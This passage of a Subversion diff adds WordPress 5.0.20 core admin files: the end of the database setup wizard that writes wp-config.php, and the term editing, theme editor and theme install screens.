+	<title><?php _e( 'WordPress &rsaquo; Setup Configuration File' ); ?></title>
+	<?php wp_admin_css( 'install', true ); ?>
+</head>
+<body class="<?php echo implode( ' ', $body_classes ); ?>">
+<p id="logo"><a href="<?php echo esc_url( __( 'https://wordpress.org/' ) ); ?>" tabindex="-1"><?php _e( 'WordPress' ); ?></a></p>
+<?php
+} // end function setup_config_display_header();
+
+$language = '';
+if ( ! empty( $_REQUEST['language'] ) ) {
+	$language = preg_replace( '/[^a-zA-Z0-9_]/', '', $_REQUEST['language'] );
+} elseif ( isset( $GLOBALS['wp_local_package'] ) ) {
+	$language = $GLOBALS['wp_local_package'];
+}
+
+switch($step) {
+	case -1:
+		if ( wp_can_install_language_pack() && empty( $language ) && ( $languages = wp_get_available_translations() ) ) {
+			setup_config_display_header( 'language-chooser' );
+			echo '<h1 class="screen-reader-text">Select a default language</h1>';
+			echo '<form id="setup" method="post" action="?step=0">';
+			wp_install_language_form( $languages );
+			echo '</form>';
+			break;
+		}
+
+		// Deliberately fall through if we can't reach the translations API.
+
+	case 0:
+		if ( ! empty( $language ) ) {
+			$loaded_language = wp_download_language_pack( $language );
+			if ( $loaded_language ) {
+				load_default_textdomain( $loaded_language );
+				$GLOBALS['wp_locale'] = new WP_Locale();
+			}
+		}
+
+		setup_config_display_header();
+		$step_1 = 'setup-config.php?step=1';
+		if ( isset( $_REQUEST['noapi'] ) ) {
+			$step_1 .= '&amp;noapi';
+		}
+		if ( ! empty( $loaded_language ) ) {
+			$step_1 .= '&amp;language=' . $loaded_language;
+		}
+?>
+<h1 class="screen-reader-text"><?php _e( 'Before getting started' ) ?></h1>
+<p><?php _e( 'Welcome to WordPress. Before getting started, we need some information on the database. You will need to know the following items before proceeding.' ) ?></p>
+<ol>
+	<li><?php _e( 'Database name' ); ?></li>
+	<li><?php _e( 'Database username' ); ?></li>
+	<li><?php _e( 'Database password' ); ?></li>
+	<li><?php _e( 'Database host' ); ?></li>
+	<li><?php _e( 'Table prefix (if you want to run more than one WordPress in a single database)' ); ?></li>
+</ol>
+<p><?php
+	/* translators: %s: wp-config.php */
+	printf( __( 'We&#8217;re going to use this information to create a %s file.' ),
+		'<code>wp-config.php</code>'
+	);
+	?>
+	<strong><?php
+		/* translators: 1: wp-config-sample.php, 2: wp-config.php */
+		printf( __( 'If for any reason this automatic file creation doesn&#8217;t work, don&#8217;t worry. All this does is fill in the database information to a configuration file. You may also simply open %1$s in a text editor, fill in your information, and save it as %2$s.' ),
+			'<code>wp-config-sample.php</code>',
+			'<code>wp-config.php</code>'
+		);
+	?></strong>
+	<?php
+	/* translators: %s: Codex URL */
+	printf( __( 'Need more help? <a href="%s">We got it</a>.' ),
+		__( 'https://codex.wordpress.org/Editing_wp-config.php' )
+	);
+?></p>
+<p><?php _e( 'In all likelihood, these items were supplied to you by your Web Host. If you don&#8217;t have this information, then you will need to contact them before you can continue. If you&#8217;re all ready&hellip;' ); ?></p>
+
+<p class="step"><a href="<?php echo $step_1; ?>" class="button button-large"><?php _e( 'Let&#8217;s go!' ); ?></a></p>
+<?php
+	break;
+
+	case 1:
+		load_default_textdomain( $language );
+		$GLOBALS['wp_locale'] = new WP_Locale();
+
+		setup_config_display_header();
+	?>
+<h1 class="screen-reader-text"><?php _e( 'Set up your database connection' ) ?></h1>
+<form method="post" action="setup-config.php?step=2">
+	<p><?php _e( 'Below you should enter your database connection details. If you&#8217;re not sure about these, contact your host.' ); ?></p>
+	<table class="form-table">
+		<tr>
+			<th scope="row"><label for="dbname"><?php _e( 'Database Name' ); ?></label></th>
+			<td><input name="dbname" id="dbname" type="text" size="25" value="wordpress" /></td>
+			<td><?php _e( 'The name of the database you want to use with WordPress.' ); ?></td>
+		</tr>
+		<tr>
+			<th scope="row"><label for="uname"><?php _e( 'Username' ); ?></label></th>
+			<td><input name="uname" id="uname" type="text" size="25" value="<?php echo htmlspecialchars( _x( 'username', 'example username' ), ENT_QUOTES ); ?>" /></td>
+			<td><?php _e( 'Your database username.' ); ?></td>
+		</tr>
+		<tr>
+			<th scope="row"><label for="pwd"><?php _e( 'Password' ); ?></label></th>
+			<td><input name="pwd" id="pwd" type="text" size="25" value="<?php echo htmlspecialchars( _x( 'password', 'example password' ), ENT_QUOTES ); ?>" autocomplete="off" /></td>
+			<td><?php _e( 'Your database password.' ); ?></td>
+		</tr>
+		<tr>
+			<th scope="row"><label for="dbhost"><?php _e( 'Database Host' ); ?></label></th>
+			<td><input name="dbhost" id="dbhost" type="text" size="25" value="localhost" /></td>
+			<td><?php
+				/* translators: %s: localhost */
+				printf( __( 'You should be able to get this info from your web host, if %s doesn&#8217;t work.' ),'<code>localhost</code>' );
+			?></td>
+		</tr>
+		<tr>
+			<th scope="row"><label for="prefix"><?php _e( 'Table Prefix' ); ?></label></th>
+			<td><input name="prefix" id="prefix" type="text" value="wp_" size="25" /></td>
+			<td><?php _e( 'If you want to run multiple WordPress installations in a single database, change this.' ); ?></td>
+		</tr>
+	</table>
+	<?php if ( isset( $_GET['noapi'] ) ) { ?><input name="noapi" type="hidden" value="1" /><?php } ?>
+	<input type="hidden" name="language" value="<?php echo esc_attr( $language ); ?>" />
+	<p class="step"><input name="submit" type="submit" value="<?php echo htmlspecialchars( __( 'Submit' ), ENT_QUOTES ); ?>" class="button button-large" /></p>
+</form>
+<?php
+	break;
+
+	case 2:
+	load_default_textdomain( $language );
+	$GLOBALS['wp_locale'] = new WP_Locale();
+
+	$dbname = trim( wp_unslash( $_POST[ 'dbname' ] ) );
+	$uname = trim( wp_unslash( $_POST[ 'uname' ] ) );
+	$pwd = trim( wp_unslash( $_POST[ 'pwd' ] ) );
+	$dbhost = trim( wp_unslash( $_POST[ 'dbhost' ] ) );
+	$prefix = trim( wp_unslash( $_POST[ 'prefix' ] ) );
+
+	$step_1 = 'setup-config.php?step=1';
+	$install = 'install.php';
+	if ( isset( $_REQUEST['noapi'] ) ) {
+		$step_1 .= '&amp;noapi';
+	}
+
+	if ( ! empty( $language ) ) {
+		$step_1 .= '&amp;language=' . $language;
+		$install .= '?language=' . $language;
+	} else {
+		$install .= '?language=en_US';
+	}
+
+	$tryagain_link = '</p><p class="step"><a href="' . $step_1 . '" onclick="javascript:history.go(-1);return false;" class="button button-large">' . __( 'Try again' ) . '</a>';
+
+	if ( empty( $prefix ) )
+		wp_die( __( '<strong>ERROR</strong>: "Table Prefix" must not be empty.' . $tryagain_link ) );
+
+	// Validate $prefix: it can only contain letters, numbers and underscores.
+	if ( preg_match( '|[^a-z0-9_]|i', $prefix ) )
+		wp_die( __( '<strong>ERROR</strong>: "Table Prefix" can only contain numbers, letters, and underscores.' . $tryagain_link ) );
+
+	// Test the db connection.
+	/**#@+
+	 * @ignore
+	 */
+	define('DB_NAME', $dbname);
+	define('DB_USER', $uname);
+	define('DB_PASSWORD', $pwd);
+	define('DB_HOST', $dbhost);
+	/**#@-*/
+
+	// Re-construct $wpdb with these new values.
+	unset( $wpdb );
+	require_wp_db();
+
+	/*
+	 * The wpdb constructor bails when WP_SETUP_CONFIG is set, so we must
+	 * fire this manually. We'll fail here if the values are no good.
+	 */
+	$wpdb->db_connect();
+
+	if ( ! empty( $wpdb->error ) )
+		wp_die( $wpdb->error->get_error_message() . $tryagain_link );
+
+	$errors = $wpdb->hide_errors();
+	$wpdb->query( "SELECT $prefix" );
+	$wpdb->show_errors( $errors );
+	if ( ! $wpdb->last_error ) {
+		// MySQL was able to parse the prefix as a value, which we don't want. Bail.
+		wp_die( __( '<strong>ERROR</strong>: "Table Prefix" is invalid.' ) );
+	}
+
+	// Generate keys and salts using secure CSPRNG; fallback to API if enabled; further fallback to original wp_generate_password().
+	try {
+		$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|';
+		$max = strlen($chars) - 1;
+		for ( $i = 0; $i < 8; $i++ ) {
+			$key = '';
+			for ( $j = 0; $j < 64; $j++ ) {
+				$key .= substr( $chars, random_int( 0, $max ), 1 );
+			}
+			$secret_keys[] = $key;
+		}
+	} catch ( Exception $ex ) {
+		$no_api = isset( $_POST['noapi'] );
+
+		if ( ! $no_api ) {
+			$secret_keys = wp_remote_get( 'https://api.wordpress.org/secret-key/1.1/salt/' );
+		}
+
+		if ( $no_api || is_wp_error( $secret_keys ) ) {
+			$secret_keys = array();
+			for ( $i = 0; $i < 8; $i++ ) {
+				$secret_keys[] = wp_generate_password( 64, true, true );
+			}
+		} else {
+			$secret_keys = explode( "\n", wp_remote_retrieve_body( $secret_keys ) );
+			foreach ( $secret_keys as $k => $v ) {
+				$secret_keys[$k] = substr( $v, 28, 64 );
+			}
+		}
+	}
+
+	$key = 0;
+	foreach ( $config_file as $line_num => $line ) {
+		if ( '$table_prefix  =' == substr( $line, 0, 16 ) ) {
+			$config_file[ $line_num ] = '$table_prefix  = \'' . addcslashes( $prefix, "\\'" ) . "';\r\n";
+			continue;
+		}
+
+		if ( ! preg_match( '/^define\(\'([A-Z_]+)\',([ ]+)/', $line, $match ) )
+			continue;
+
+		$constant = $match[1];
+		$padding  = $match[2];
+
+		switch ( $constant ) {
+			case 'DB_NAME'     :
+			case 'DB_USER'     :
+			case 'DB_PASSWORD' :
+			case 'DB_HOST'     :
+				$config_file[ $line_num ] = "define('" . $constant . "'," . $padding . "'" . addcslashes( constant( $constant ), "\\'" ) . "');\r\n";
+				break;
+			case 'DB_CHARSET'  :
+				if ( 'utf8mb4' === $wpdb->charset || ( ! $wpdb->charset && $wpdb->has_cap( 'utf8mb4' ) ) ) {
+					$config_file[ $line_num ] = "define('" . $constant . "'," . $padding . "'utf8mb4');\r\n";
+				}
+				break;
+			case 'AUTH_KEY'         :
+			case 'SECURE_AUTH_KEY'  :
+			case 'LOGGED_IN_KEY'    :
+			case 'NONCE_KEY'        :
+			case 'AUTH_SALT'        :
+			case 'SECURE_AUTH_SALT' :
+			case 'LOGGED_IN_SALT'   :
+			case 'NONCE_SALT'       :
+				$config_file[ $line_num ] = "define('" . $constant . "'," . $padding . "'" . $secret_keys[$key++] . "');\r\n";
+				break;
+		}
+	}
+	unset( $line );
+
+	if ( ! is_writable(ABSPATH) ) :
+		setup_config_display_header();
+?>
+<p><?php
+	/* translators: %s: wp-config.php */
+	printf( __( 'Sorry, but I can&#8217;t write the %s file.' ), '<code>wp-config.php</code>' );
+?></p>
+<p><?php
+	/* translators: %s: wp-config.php */
+	printf( __( 'You can create the %s file manually and paste the following text into it.' ), '<code>wp-config.php</code>' );
+?></p>
+<textarea id="wp-config" cols="98" rows="15" class="code" readonly="readonly"><?php
+		foreach ( $config_file as $line ) {
+			echo htmlentities($line, ENT_COMPAT, 'UTF-8');
+		}
+?></textarea>
+<p><?php _e( 'After you&#8217;ve done that, click &#8220;Run the installation.&#8221;' ); ?></p>
+<p class="step"><a href="<?php echo $install; ?>" class="button button-large"><?php _e( 'Run the installation' ); ?></a></p>
+<script>
+(function(){
+if ( ! /iPad|iPod|iPhone/.test( navigator.userAgent ) ) {
+	var el = document.getElementById('wp-config');
+	el.focus();
+	el.select();
+}
+})();
+</script>
+<?php
+	else :
+		/*
+		 * If this file doesn't exist, then we are using the wp-config-sample.php
+		 * file one level up, which is for the develop repo.
+		 */
+		if ( file_exists( ABSPATH . 'wp-config-sample.php' ) )
+			$path_to_wp_config = ABSPATH . 'wp-config.php';
+		else
+			$path_to_wp_config = dirname( ABSPATH ) . '/wp-config.php';
+
+		$handle = fopen( $path_to_wp_config, 'w' );
+		foreach ( $config_file as $line ) {
+			fwrite( $handle, $line );
+		}
+		fclose( $handle );
+		chmod( $path_to_wp_config, 0666 );
+		setup_config_display_header();
+?>
+<h1 class="screen-reader-text"><?php _e( 'Successful database connection' ) ?></h1>
+<p><?php _e( 'All right, sparky! You&#8217;ve made it through this part of the installation. WordPress can now communicate with your database. If you are ready, time now to&hellip;' ); ?></p>
+
+<p class="step"><a href="<?php echo $install; ?>" class="button button-large"><?php _e( 'Run the installation' ); ?></a></p>
+<?php
+	endif;
+	break;
+}
+?>
+<?php wp_print_scripts( 'language-chooser' ); ?>
+</body>
+</html>
Index: /tags/5.0.20/src/wp-admin/term.php
===================================================================
--- /tags/5.0.20/src/wp-admin/term.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/term.php	(revision 56912)
@@ -0,0 +1,68 @@
+<?php
+/**
+ * Edit Term Administration Screen.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 4.5.0
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( empty( $_REQUEST['tag_ID'] ) ) {
+	$sendback = admin_url( 'edit-tags.php' );
+	if ( ! empty( $taxnow ) ) {
+		$sendback = add_query_arg( array( 'taxonomy' => $taxnow ), $sendback );
+	}
+	wp_redirect( esc_url( $sendback ) );
+	exit;
+}
+
+$tag_ID = absint( $_REQUEST['tag_ID'] );
+$tag    = get_term( $tag_ID, $taxnow, OBJECT, 'edit' );
+
+if ( ! $tag instanceof WP_Term ) {
+	wp_die( __( 'You attempted to edit an item that doesn&#8217;t exist. Perhaps it was deleted?' ) );
+}
+
+$tax      = get_taxonomy( $tag->taxonomy );
+$taxonomy = $tax->name;
+$title    = $tax->labels->edit_item;
+
+if ( ! in_array( $taxonomy, get_taxonomies( array( 'show_ui' => true ) ) ) ||
+     ! current_user_can( 'edit_term', $tag->term_id )
+) {
+	wp_die(
+		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
+		'<p>' . __( 'Sorry, you are not allowed to edit this item.' ) . '</p>',
+		403
+	);
+}
+
+$post_type = get_current_screen()->post_type;
+
+// Default to the first object_type associated with the taxonomy if no post type was passed.
+if ( empty( $post_type ) ) {
+	$post_type = reset( $tax->object_type );
+}
+
+if ( 'post' != $post_type ) {
+	$parent_file  = ( 'attachment' == $post_type ) ? 'upload.php' : "edit.php?post_type=$post_type";
+	$submenu_file = "edit-tags.php?taxonomy=$taxonomy&amp;post_type=$post_type";
+} elseif ( 'link_category' == $taxonomy ) {
+	$parent_file  = 'link-manager.php';
+	$submenu_file = 'edit-tags.php?taxonomy=link_category';
+} else {
+	$parent_file  = 'edit.php';
+	$submenu_file = "edit-tags.php?taxonomy=$taxonomy";
+}
+
+get_current_screen()->set_screen_reader_content( array(
+	'heading_pagination' => $tax->labels->items_list_navigation,
+	'heading_list'       => $tax->labels->items_list,
+) );
+wp_enqueue_script( 'admin-tags' );
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+include( ABSPATH . 'wp-admin/edit-tag-form.php' );
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/theme-editor.php
===================================================================
--- /tags/5.0.20/src/wp-admin/theme-editor.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/theme-editor.php	(revision 56912)
@@ -0,0 +1,342 @@
+<?php
+/**
+ * Theme editor administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( is_multisite() && ! is_network_admin() ) {
+	wp_redirect( network_admin_url( 'theme-editor.php' ) );
+	exit();
+}
+
+if ( !current_user_can('edit_themes') )
+	wp_die('<p>'.__('Sorry, you are not allowed to edit templates for this site.').'</p>');
+
+$title = __("Edit Themes");
+$parent_file = 'themes.php';
+
+get_current_screen()->add_help_tab( array(
+'id'		=> 'overview',
+'title'		=> __('Overview'),
+'content'	=>
+	'<p>' . __( 'You can use the Theme Editor to edit the individual CSS and PHP files which make up your theme.' ) . '</p>' .
+	'<p>' . __( 'Begin by choosing a theme to edit from the dropdown menu and clicking the Select button. A list then appears of the theme&#8217;s template files. Clicking once on any file name causes the file to appear in the large Editor box.' ) . '</p>' .
+	'<p>' . __( 'For PHP files, you can use the Documentation dropdown to select from functions recognized in that file. Look Up takes you to a web page with reference material about that particular function.' ) . '</p>' .
+	'<p id="editor-keyboard-trap-help-1">' . __( 'When using a keyboard to navigate:' ) . '</p>' .
+	'<ul>' .
+	'<li id="editor-keyboard-trap-help-2">' . __( 'In the editing area, the Tab key enters a tab character.' ) . '</li>' .
+	'<li id="editor-keyboard-trap-help-3">' . __( 'To move away from this area, press the Esc key followed by the Tab key.' ) . '</li>' .
+	'<li id="editor-keyboard-trap-help-4">' . __( 'Screen reader users: when in forms mode, you may need to press the Esc key twice.' ) . '</li>' .
+	'</ul>' .
+	'<p>' . __( 'After typing in your edits, click Update File.' ) . '</p>' .
+	'<p>' . __( '<strong>Advice:</strong> think very carefully about your site crashing if you are live-editing the theme currently in use.' ) . '</p>' .
+	/* translators: %s: link to codex article about child themes */
+	'<p>' . sprintf( __( 'Upgrading to a newer version of the same theme will override changes made here. To avoid this, consider creating a <a href="%s">child theme</a> instead.' ), __( 'https://codex.wordpress.org/Child_Themes' ) ) . '</p>' .
+	( is_network_admin() ? '<p>' . __( 'Any edits to files from this screen will be reflected on all sites in the network.' ) . '</p>' : '' ),
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Theme_Development">Documentation on Theme Development</a>') . '</p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Using_Themes">Documentation on Using Themes</a>') . '</p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Editing_Files">Documentation on Editing Files</a>') . '</p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Template_Tags">Documentation on Template Tags</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+);
+
+wp_reset_vars( array( 'action', 'error', 'file', 'theme' ) );
+
+if ( $theme ) {
+	$stylesheet = $theme;
+} else {
+	$stylesheet = get_stylesheet();
+}
+
+$theme = wp_get_theme( $stylesheet );
+
+if ( ! $theme->exists() ) {
+	wp_die( __( 'The requested theme does not exist.' ) );
+}
+
+if ( $theme->errors() && 'theme_no_stylesheet' == $theme->errors()->get_error_code() ) {
+	wp_die( __( 'The requested theme does not exist.' ) . ' ' . $theme->errors()->get_error_message() );
+}
+
+$allowed_files = $style_files = array();
+$has_templates = false;
+
+$file_types = wp_get_theme_file_editable_extensions( $theme );
+
+foreach ( $file_types as $type ) {
+	switch ( $type ) {
+		case 'php':
+			$allowed_files += $theme->get_files( 'php', -1 );
+			$has_templates = ! empty( $allowed_files );
+			break;
+		case 'css':
+			$style_files = $theme->get_files( 'css', -1 );
+			$allowed_files['style.css'] = $style_files['style.css'];
+			$allowed_files += $style_files;
+			break;
+		default:
+			$allowed_files += $theme->get_files( $type, -1 );
+			break;
+	}
+}
+
+// Move functions.php and style.css to the top.
+if ( isset( $allowed_files['functions.php'] ) ) {
+	$allowed_files = array( 'functions.php' => $allowed_files['functions.php'] ) + $allowed_files;
+}
+if ( isset( $allowed_files['style.css'] ) ) {
+	$allowed_files = array( 'style.css' => $allowed_files['style.css'] ) + $allowed_files;
+}
+
+if ( empty( $file ) ) {
+	$relative_file = 'style.css';
+	$file = $allowed_files['style.css'];
+} else {
+	$relative_file = wp_unslash( $file );
+	$file = $theme->get_stylesheet_directory() . '/' . $relative_file;
+}
+
+validate_file_to_edit( $file, $allowed_files );
+
+// Handle fallback editing of file when JavaScript is not available.
+$edit_error = null;
+$posted_content = null;
+if ( 'POST' === $_SERVER['REQUEST_METHOD'] ) {
+	$r = wp_edit_theme_plugin_file( wp_unslash( $_POST ) );
+	if ( is_wp_error( $r ) ) {
+		$edit_error = $r;
+		if ( check_ajax_referer( 'edit-theme_' . $file . $stylesheet, 'nonce', false ) && isset( $_POST['newcontent'] ) ) {
+			$posted_content = wp_unslash( $_POST['newcontent'] );
+		}
+	} else {
+		wp_redirect( add_query_arg(
+			array(
+				'a' => 1, // This means "success" for some reason.
+				'theme' => $stylesheet,
+				'file' => $relative_file,
+			),
+			admin_url( 'theme-editor.php' )
+		) );
+		exit;
+	}
+}
+
+	$settings = array(
+		'codeEditor' => wp_enqueue_code_editor( compact( 'file' ) ),
+	);
+	wp_enqueue_script( 'wp-theme-plugin-editor' );
+	wp_add_inline_script( 'wp-theme-plugin-editor', sprintf( 'jQuery( function( $ ) { wp.themePluginEditor.init( $( "#template" ), %s ); } )', wp_json_encode( $settings ) ) );
+	wp_add_inline_script( 'wp-theme-plugin-editor', 'wp.themePluginEditor.themeOrPlugin = "theme";' );
+
+	require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+	update_recently_edited( $file );
+
+	if ( ! is_file( $file ) )
+		$error = true;
+
+	$content = '';
+	if ( ! empty( $posted_content ) ) {
+		$content = $posted_content;
+	} elseif ( ! $error && filesize( $file ) > 0 ) {
+		$f = fopen($file, 'r');
+		$content = fread($f, filesize($file));
+
+		if ( '.php' == substr( $file, strrpos( $file, '.' ) ) ) {
+			$functions = wp_doc_link_parse( $content );
+
+			$docs_select = '<select name="docs-list" id="docs-list">';
+			$docs_select .= '<option value="">' . esc_attr__( 'Function Name&hellip;' ) . '</option>';
+			foreach ( $functions as $function ) {
+				$docs_select .= '<option value="' . esc_attr( urlencode( $function ) ) . '">' . htmlspecialchars( $function ) . '()</option>';
+			}
+			$docs_select .= '</select>';
+		}
+
+		$content = esc_textarea( $content );
+	}
+
+$file_description = get_file_description( $relative_file );
+$file_show = array_search( $file, array_filter( $allowed_files ) );
+$description = esc_html( $file_description );
+if ( $file_description != $file_show ) {
+	$description .= ' <span>(' . esc_html( $file_show ) . ')</span>';
+}
+?>
+<div class="wrap">
+<h1><?php echo esc_html( $title ); ?></h1>
+
+<?php if ( isset( $_GET['a'] ) ) : ?>
+	<div id="message" class="updated notice is-dismissible">
+		<p><?php _e( 'File edited successfully.' ); ?></p>
+	</div>
+<?php elseif ( is_wp_error( $edit_error ) ) : ?>
+	<div id="message" class="notice notice-error">
+		<p><?php _e( 'There was an error while trying to update the file. You may need to fix something and try updating again.' ); ?></p>
+		<pre><?php echo esc_html( $edit_error->get_error_message() ? $edit_error->get_error_message() : $edit_error->get_error_code() ); ?></pre>
+	</div>
+<?php endif; ?>
+<?php if ( preg_match( '/\.css$/', $file ) ) : ?>
+	<div id="message" class="notice-info notice">
+		<p><strong><?php _e( 'Did you know?' ); ?></strong></p>
+		<p>
+			<?php
+			echo sprintf(
+				/* translators: %s: link to Custom CSS section in the Customizer */
+				__( 'There&#8217;s no need to change your CSS here &mdash; you can edit and live preview CSS changes in the <a href="%s">built-in CSS editor</a>.' ),
+				esc_url( add_query_arg( 'autofocus[section]', 'custom_css', admin_url( 'customize.php' ) ) )
+			);
+			?>
+		</p>
+	</div>
+<?php endif; ?>
+
+<div class="fileedit-sub">
+<div class="alignleft">
+<h2><?php echo $theme->display( 'Name' ); if ( $description ) echo ': ' . $description; ?></h2>
+</div>
+<div class="alignright">
+	<form action="theme-editor.php" method="get">
+		<strong><label for="theme"><?php _e('Select theme to edit:'); ?> </label></strong>
+		<select name="theme" id="theme">
+<?php
+foreach ( wp_get_themes( array( 'errors' => null ) ) as $a_stylesheet => $a_theme ) {
+	if ( $a_theme->errors() && 'theme_no_stylesheet' == $a_theme->errors()->get_error_code() )
+		continue;
+
+	$selected = $a_stylesheet == $stylesheet ? ' selected="selected"' : '';
+	echo "\n\t" . '<option value="' . esc_attr( $a_stylesheet ) . '"' . $selected . '>' . $a_theme->display('Name') . '</option>';
+}
+?>
+		</select>
+		<?php submit_button( __( 'Select' ), '', 'Submit', false ); ?>
+	</form>
+</div>
+<br class="clear" />
+</div>
+<?php
+if ( $theme->errors() )
+	echo '<div class="error"><p><strong>' . __( 'This theme is broken.' ) . '</strong> ' . $theme->errors()->get_error_message() . '</p></div>';
+?>
+<div id="templateside">
+	<h2 id="theme-files-label"><?php _e( 'Theme Files' ); ?></h2>
+	<ul role="tree" aria-labelledby="theme-files-label">
+		<?php if ( ( $has_templates || $theme->parent() ) && $theme->parent() ) : ?>
+			<li class="howto">
+				<?php
+				/* translators: %s: link to edit parent theme */
+				echo sprintf( __( 'This child theme inherits templates from a parent theme, %s.' ),
+					sprintf( '<a href="%s">%s</a>',
+						self_admin_url( 'theme-editor.php?theme=' . urlencode( $theme->get_template() ) ),
+						$theme->parent()->display( 'Name' )
+					)
+				);
+				?>
+			</li>
+		<?php endif; ?>
+		<li role="treeitem" tabindex="-1" aria-expanded="true" aria-level="1" aria-posinset="1" aria-setsize="1">
+			<ul role="group">
+				<?php wp_print_theme_file_tree( wp_make_theme_file_tree( $allowed_files ) ); ?>
+			</ul>
+		</li>
+	</ul>
+</div>
+
+<?php if ( $error ) :
+	echo '<div class="error"><p>' . __('Oops, no such file exists! Double check the name and try again, merci.') . '</p></div>';
+else : ?>
+	<form name="template" id="template" action="theme-editor.php" method="post">
+		<?php wp_nonce_field( 'edit-theme_' . $file . $stylesheet, 'nonce' ); ?>
+		<div>
+			<label for="newcontent" id="theme-plugin-editor-label"><?php _e( 'Selected file content:' ); ?></label>
+			<textarea cols="70" rows="30" name="newcontent" id="newcontent" aria-describedby="editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4"><?php echo $content; ?></textarea>
+			<input type="hidden" name="action" value="update" />
+			<input type="hidden" name="file" value="<?php echo esc_attr( $relative_file ); ?>" />
+			<input type="hidden" name="theme" value="<?php echo esc_attr( $theme->get_stylesheet() ); ?>" />
+		</div>
+	<?php if ( ! empty( $functions ) ) : ?>
+		<div id="documentation" class="hide-if-no-js">
+		<label for="docs-list"><?php _e('Documentation:') ?></label>
+		<?php echo $docs_select; ?>
+		<input type="button" class="button" value="<?php esc_attr_e( 'Look Up' ); ?>" onclick="if ( '' != jQuery('#docs-list').val() ) { window.open( 'https://api.wordpress.org/core/handbook/1.0/?function=' + escape( jQuery( '#docs-list' ).val() ) + '&amp;locale=<?php echo urlencode( get_user_locale() ) ?>&amp;version=<?php echo urlencode( get_bloginfo( 'version' ) ) ?>&amp;redirect=true'); }" />
+		</div>
+	<?php endif; ?>
+
+	<div>
+		<div class="editor-notices">
+			<?php if ( is_child_theme() && $theme->get_stylesheet() == get_template() ) : ?>
+				<div class="notice notice-warning inline">
+					<p>
+						<?php if ( is_writeable( $file ) ) { ?><strong><?php _e( 'Caution:' ); ?></strong><?php } ?>
+						<?php _e( 'This is a file in your current parent theme.' ); ?>
+					</p>
+				</div>
+			<?php endif; ?>
+		</div>
+	<?php if ( is_writeable( $file ) ) : ?>
+		<p class="submit">
+			<?php submit_button( __( 'Update File' ), 'primary', 'submit', false ); ?>
+			<span class="spinner"></span>
+		</p>
+	<?php else : ?>
+		<p><em><?php _e('You need to make this file writable before you can save your changes. See <a href="https://codex.wordpress.org/Changing_File_Permissions">the Codex</a> for more information.'); ?></em></p>
+	<?php endif; ?>
+	</div>
+	<?php wp_print_file_editor_templates(); ?>
+	</form>
+<?php
+endif; // $error
+?>
+<br class="clear" />
+</div>
+<?php
+$dismissed_pointers = explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) );
+if ( ! in_array( 'theme_editor_notice', $dismissed_pointers, true ) ) :
+	// Get a back URL
+	$referer = wp_get_referer();
+	$excluded_referer_basenames = array( 'theme-editor.php', 'wp-login.php' );
+
+	if ( $referer && ! in_array( basename( parse_url( $referer, PHP_URL_PATH ) ), $excluded_referer_basenames, true ) ) {
+		$return_url = $referer;
+	} else {
+		$return_url = admin_url( '/' );
+	}
+?>
+<div id="file-editor-warning" class="notification-dialog-wrap file-editor-warning hide-if-no-js hidden">
+	<div class="notification-dialog-background"></div>
+	<div class="notification-dialog">
+		<div class="file-editor-warning-content">
+			<div class="file-editor-warning-message">
+				<h1><?php _e( 'Heads up!' ); ?></h1>
+				<p>
+					<?php
+					echo sprintf(
+						/* translators: %s: Codex URL */
+						__( 'You appear to be making direct edits to your theme in the WordPress dashboard. We recommend that you don&#8217;t! Editing your theme directly could break your site and your changes may be lost in future updates. If you need to tweak more than your theme&#8217;s CSS, you might want to try <a href="%s">making a child theme</a>.' ),
+						esc_url( __( 'https://codex.wordpress.org/Child_Themes' ) )
+					);
+					?>
+				</p>
+				<p><?php _e( 'If you decide to go ahead with direct edits anyway, use a file manager to create a copy with a new name and hang on to the original. That way, you can re-enable a functional version if something goes wrong.' ); ?></p>
+				
+			</div>
+			<p>
+				<a class="button file-editor-warning-go-back" href="<?php echo esc_url( $return_url ); ?>"><?php _e( 'Go back' ); ?></a>
+				<button type="button" class="file-editor-warning-dismiss button button-primary"><?php _e( 'I understand' ); ?></button>
+			</p>
+		</div>
+	</div>
+</div>
+<?php
+endif; // editor warning notice
+
+include(ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/theme-install.php
===================================================================
--- /tags/5.0.20/src/wp-admin/theme-install.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/theme-install.php	(revision 56912)
@@ -0,0 +1,360 @@
+<?php
+/**
+ * Install theme administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+require( ABSPATH . 'wp-admin/includes/theme-install.php' );
+
+wp_reset_vars( array( 'tab' ) );
+
+if ( ! current_user_can('install_themes') )
+	wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) );
+
+if ( is_multisite() && ! is_network_admin() ) {
+	wp_redirect( network_admin_url( 'theme-install.php' ) );
+	exit();
+}
+
+$title = __( 'Add Themes' );
+$parent_file = 'themes.php';
+
+if ( ! is_network_admin() ) {
+	$submenu_file = 'themes.php';
+}
+
+$installed_themes = search_theme_directories();
+
+if ( false === $installed_themes ) {
+	$installed_themes = array();
+}
+
